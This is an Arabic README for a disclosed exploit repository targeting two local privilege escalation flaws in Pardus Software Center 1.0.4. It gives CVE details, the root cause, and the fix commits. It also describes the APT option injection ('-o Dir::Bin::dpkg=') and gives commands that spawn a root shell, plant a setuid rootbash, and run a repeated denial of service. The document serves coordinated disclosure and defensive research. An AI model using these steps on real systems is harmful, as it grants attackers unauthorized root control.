
Pardus Software إثبات مفهوم (PoC) لتصعيد الامتيازات المحلي - الإصدارات المتأثرة <= 1.0.4
كود إثبات المفهوم والاستغلال الجاهز لثغرتين لتصعيد الامتيازات المحلي في حزمة pardus-software (مركز برمجيات باردوس) الإصدار 1.0.4، وكلتاهما أُصلحتا في 1.0.5.
| CVE | الفئة | الملخص | CVSS 3.1 (CERT-TR) |
|---|---|---|---|
| CVE-2026-14459 | CWE-88 — حقن الوسائط | عضو مجموعة pardus-software (بدون sudo وبدون كلمة مرور) يحقن خيارات APT (-o Dir::Bin::dpkg=…) في المُساعد المُخوّل، وينفّذ كودًا عشوائيًا بصلاحيات الجذر. | 8.8 HIGH |
| CVE-2026-14460 | CWE-862 — غياب التفويض | إجراء PolicyKit autoaptupdateaction يأتي مع allow_any=yes، مما يسمح لأي مستخدم محلي بتشغيل مُساعد التحديث كجذر دون مصادقة (رفض خدمة محلي). | 8.8 HIGH |
المتأثر: pardus-software 1.0.4 · المُصلَح: pardus-software 1.0.5
البائع: Pardus / TÜBİTAK BİLGEM · إفصاح منسّق عبر البائع و USOM (CERT-TR).
نُشر هذا الكود لأغراض البحث الدفاعي والتعليم والتحقق من ثغرة مُصلَحة ومكشوفة علنًا. كلتا المسألتين أُصلحتا في pardus-software 1.0.5.
شغّله فقط على أجهزة افتراضية معزولة وقابلة للتخلص منها تملكها أو مخوّل صراحةً لاختبارها. لا تشغّله ضد أنظمة لا تتحكم فيها. أنت مسؤول عن الامتثال لجميع القوانين السارية. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام.
pardus-software-lpe/
├── README.md
├── poc/
│ └── poc.sh # original benign PoC (proof-only; both CVEs)
└── exploit/
├── exploit-14459.sh # CVE-2026-14459 → interactive root shell
└── exploit-14460.sh # CVE-2026-14460 → unauth root apt-update (DoS)
سكربت poc.sh واحد يغطي الاكتشافين عبر أوامر فرعية:
نسخة poc/ حميدة: تسجّل مخرجات id فقط في /tmp/pardus_lpe_proof وتُنشئ /tmp/rootbash بامتياز setuid root كإثبات. أما نسخ exploit/ فهي المعادلات المجهزة بالكامل، «أعطني صدفة جذر»، للعرض على الأهداف المصرّح بها.
poc.sh SHA256: 1d3f4c19affdb377ac5eee4c695619e9f6a4590350c3936678eb1db2cf601255
يتضمن إثبات المفهوم الحميد مُساعدًا لإنشاء حساب victim بصلاحيات محدودة في مجموعة pardus-software (بدون sudo) على جهاز افتراضي مؤقت بنظام Pardus 25:
sudo ./poc/poc.sh setup-victim
sudo cp poc/poc.sh /home/victim/ && sudo chown victim /home/victim/poc.sh
# CVE-2026-14459 — option injection (primary)
sudo su - victim -c 'cd ~ && ./poc.sh B'
# if 'hello' is already installed/unavailable: ./poc.sh B sl
# CVE-2026-14459 — local unsigned .deb (secondary)
sudo su - victim -c 'cd ~ && ./poc.sh A'
# CVE-2026-14460 — unauthenticated root apt update (any user, no special group)
sudo useradd -m -s /bin/bash nobody2
sudo cp poc/poc.sh /home/nobody2/ && sudo chown nobody2 /home/nobody2/poc.sh
sudo su - nobody2 -c 'cd ~ && ./poc.sh autoupdate'
المتوقع: لا يُطلب كلمة مرور؛ يُظهر الإخراج uid=0(root)، و/tmp/pardus_lpe_proof مملوكًا للجذر، و/tmp/rootbash كـ -rwsr-xr-x root root (setuid root). بالنسبة لـ B، تطبع APT أيضًا مؤشرها الخاص على أن السكربت المحقون عمل بدلًا من dpkg:
Warning: APT had planned for dpkg to do more than it reported back (0 vs 5).
Affected packages: hello:amd64
شغّل هذه بوصف المستخدم غير المميز المستهدف (بالنسبة لـ 14459، عضو في مجموعة pardus-software).
# CVE-2026-14459 → interactive root shell
./exploit/exploit-14459.sh
# run a single command as root instead of a shell:
./exploit/exploit-14459.sh -c "id > /root/pwned"
# if 'hello' is installed/unavailable, pick an uninstalled package:
PKG=sl ./exploit/exploit-14459.sh
# CVE-2026-14460 → unauthenticated root apt-update (local DoS)
./exploit/exploit-14460.sh
# demonstrate the DoS surface with repeated invocations:
./exploit/exploit-14460.sh -n 20
على مضيف مُصَلَح (>= 1.0.5) يفشل كلا السكربتين بشكل نظيف ويُعلنان ذلك.
CVE-2026-14459. دالة install() في Actions.py تقسم وسيط packages على المسافات وتُلحق الرموز مباشرةً بمتجه وسائط apt — دون التحقق من الأسماء، ودون فاصل الخيارات --. أي رمز يبدو كخيار APT يتم اعتماده، بما في ذلك -o Dir::Bin::dpkg=<path>، الذي يستبدل المحرك الخلفي لمدير الحزم بسكربت مهاجم يعمل بعد ذلك كجذر. النمط نفسه موجود في remove/upgrade/reinstall/downgrade.
CVE-2026-14460. إجراء PolicyKit autoaptupdateaction أُعلن بـ allow_any=yes، مما يسمح لأي موضوع دون مصادقة. يمكن لأي مستخدم محلي استدعاء AutoAptUpdate.py كجذر — سطح رفض خدمة محلي.
الكتابات الفنية الكاملة (إنجليزي + تركي): ([https://medium.com/@dasokkk/missing-authorization-in-pardus-software-center-any-local-user-can-run-apt-update-as-root-de4756d4c1a1] (https://medium.com/@dasokkk/local-privilege-escalation-in-pardus-software-center-via-apt-option-injection-cve-2026-14459-569ad65a2250))
أُصلح في pardus-software 1.0.5:
a6ff277 — التحقق من اسم الحزمة (regex في parse_packages() + فاصل --) لإجراءات apt (CVE-2026-14459).70210af — allow_any: yes → auth_admin لإجراء autoaptupdateaction (CVE-2026-14460).إذا كنت تستخدم Pardus، فقم بالترقية إلى pardus-software 1.0.5 أو أحدث.
a6ff277 · 70210afبحث وإفصاح منسّق بواسطة Kerem Kaan Daşmaz.
| الأمر الفرعي | يُثبت | ملاحظات |
|---|
poc.sh B | CVE-2026-14459 | حقن خيارات APT (-o Dir::Bin::dpkg) — الاكتشاف الرئيسي |
poc.sh A | CVE-2026-14459 | حزمة .deb محلية غير موقعة عبر مسار الثقة نفسه (عرض ثانوي) |
poc.sh autoupdate | CVE-2026-14460 | تحديث apt update كجذر دون مصادقة |